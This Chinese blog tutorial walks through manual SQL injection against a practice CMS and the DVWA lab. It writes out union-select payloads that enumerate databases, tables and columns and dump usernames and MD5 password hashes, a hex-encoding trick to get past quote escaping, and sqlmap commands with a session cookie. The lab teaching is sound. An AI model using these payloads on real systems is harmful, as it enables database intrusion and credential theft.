SQL手动注入实例

本文介绍了如何通过SQL注入检测技术,包括GET和POST方式的URL操作,识别可能的注入点,并详细讲解了如何通过union查询来猜解数据库信息和字段内容。特别提到了DVWA作为测试环境,展示了不同级别的SQL注入攻击和防范措施,以及使用工具如sqlmap进行渗透测试的过程。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

CMS

  1. 寻找可能存在SQL注入点的页面

  • POST方式:通过把参数封装在数据包内容中进行提交

    寻找存在表单元素的页面

    • 文本框
    • 单选按钮
    • 复选框
    • 文件浏览框
    • 提交按钮

    在文本框输入的内容后加入单引号查看是否存在注入漏洞,若报错则说明存在注入漏洞

  1. 确认注入点类型

    • 数字型

      在URL后加入 and 1=1——能正常返回数据

      image-20230803153748825.png

      在URL后加入 and 1=2——查询不到数据

      image-20230803153816203.png

    • 字符型

      在URL后加入 ' and 1=1 --+ ——能正常返回数据

      在URL后加入 ' and 1=2# ——查询不到数据

  2. 猜解当前页面中的字段总数

    在URL后加 order by 3

    逐步调整猜解的字段数

    直到测试出有数据返回的最大值
     

    image-20230803154119919.png

    image-20230803154144412.png

  3. 猜解页面中显示的字段编号

    在URL后加 and 1=2 union select 1,2,3,4,5....写到第三步测出来的最大值为止

    union联合查询

    1. 两条语句的列数要相同
    2. 前面的语句如果没有结果,那么输入后面语句的结果

    页面中会显示相应的字段出现的位置

    image-20230803154804391.png

  4. 猜解当前网站数据库名称

    在URL后加 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,database(),12,13,14,15

    11号字段的位置会显示出当前数据库的名称

    image-20230803155036343.png

  5. 猜解当前数据库中所有表的名称

    在URL后加and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,group_concat(table_name),13,14,15 from information_schema.tables where table_schema=database()

    12号字段位置会显示当前数据库中所有表的名称

    image-20230803160229676.png

  6. 猜解指定表中所有字段名称

    在URL后加and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,group_concat(column_name),15 from information_schema.columns where table_name = 'cms_users'

    14号字段的位置会显示cms_users表中的所有字段名称

    image-20230803161421483.png

  7. 猜解cms_users表中的具体内容

    在URL后加and 1=2 union select 1,2,username,4,5,6,7,8,9,10,11,password,13,14,15 from cms_users

    3号和12号字段的位置会分别显示用户名和密码

    image-20230803161747838.png

  8. 对猜解出的MD5内容进行处理

    image-20230803161920069.png

问题:正常情况下,用户名和密码只会显示数据表中的第一行数据

解决方法:调整指针的位置

and 1=2 union select 1,2,username,4,5,6,7,8,9,10,11,password,13,14,15 from cms_users limit 1,1

image-20230803162542572.png

DVWA

账号:admin

密码:password

普通注入

  • 低级别

    1. 输入'发现存在SQL注入

      image-20230803163217160.png

    2. 判断字符类型为字符型

      1' and 1=1#——正常

      1' and 1=2#——为空

    3. 判断字段总数

      1' order by 3#

      image-20230803163549089.png

      1' order by 2#

      image-20230803163621332.png

      说明字段总数为2

    4. 猜解页面中字段编号

      1' and 1=2 union select 1,2#

      image-20230803164011983.png

    5. 猜解当前网站数据库名称

      1' and 1=2 union select 1,database()#

      image-20230803164249447.png

    6. 猜解当前网站数据表名称

      1' and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema = 'dvwa'#

      image-20230803164514594.png

    7. 猜解当前网站表中的列名

      1' and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_name = 'users'#

      image-20230803164805449.png

    8. 猜解表中的具体内容

      1' and 1=2 union select user,password from users#

      image-20230803165221199.png

    9. 利用在线MD5破解

      image-20230803165327555.png

  • 中级别

    使用burpsuite 抓包注入

    安全配置对单引号做了转义——需要通过16进制编码绕过

    即0x7573657273——users

    其他步骤省略与低级别几乎一样

    爆字段的时候需要将'users'进行16进制编码绕过

    1 and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_name = 0x7573657273

    image-20230803214050114.png

  • 高级别

    设置了专门的弹窗,此时依然可以使用sqlmap进行破解

    1. 获取当前数据库信息

      sqlmap --url="http://192.168.16.129/dvwa/vulnerabilities/sqli/session-input.php" --data="id=1&Submit=Submit" --second-url="http://192.168.16.129/dvwa/vulnerabilities/sqli/" --cookie="security=high; PHPSESSID=kt8vqlpg9ug7t6loeo9q905ho4" --batch --current-db

      --url="查询数据提交页面时的页面url"

      --data="表单提交的数据"

      --second-url="显示查询结果页面的url"

      --cookie="显示cookie信息"(通过抓包获取)

      --batch是让sqlmap自动选择执行过程中出现的询问请求

      –-current-db(进一步获取当前数据库)

      image-20230803220700185.png

    2. 获取当前数据表信息

      sqlmap --url="http://192.168.16.129/dvwa/vulnerabilities/sqli/session-input.php" --data="id=1&Submit=Submit" --second-url="http://192.168.16.129/dvwa/vulnerabilities/sqli/" --cookie="security=high; PHPSESSID=kt8vqlpg9ug7t6loeo9q905ho4" --batch -D dvwa --tables

      image-20230803220912618.png

    3. 获取所选表中列的信息

      sqlmap --url="http://192.168.16.129/dvwa/vulnerabilities/sqli/session-input.php" --data="id=1&Submit=Submit" --second-url="http://192.168.16.129/dvwa/vulnerabilities/sqli/" --cookie="security=high; PHPSESSID=kt8vqlpg9ug7t6loeo9q905ho4" --batch -D dvwa -T users --columns

      image-20230803220955489.png

    4. 获取用户名和密码

      sqlmap --url="http://192.168.16.129/dvwa/vulnerabilities/sqli/session-input.php" --data="id=1&Submit=Submit" --second-url="http://192.168.16.129/dvwa/vulnerabilities/sqli/" --cookie="security=high; PHPSESSID=kt8vqlpg9ug7t6loeo9q905ho4" --batch -D dvwa -T users -C user,password --dump

      image-20230803221211233.png

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

muzzert

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值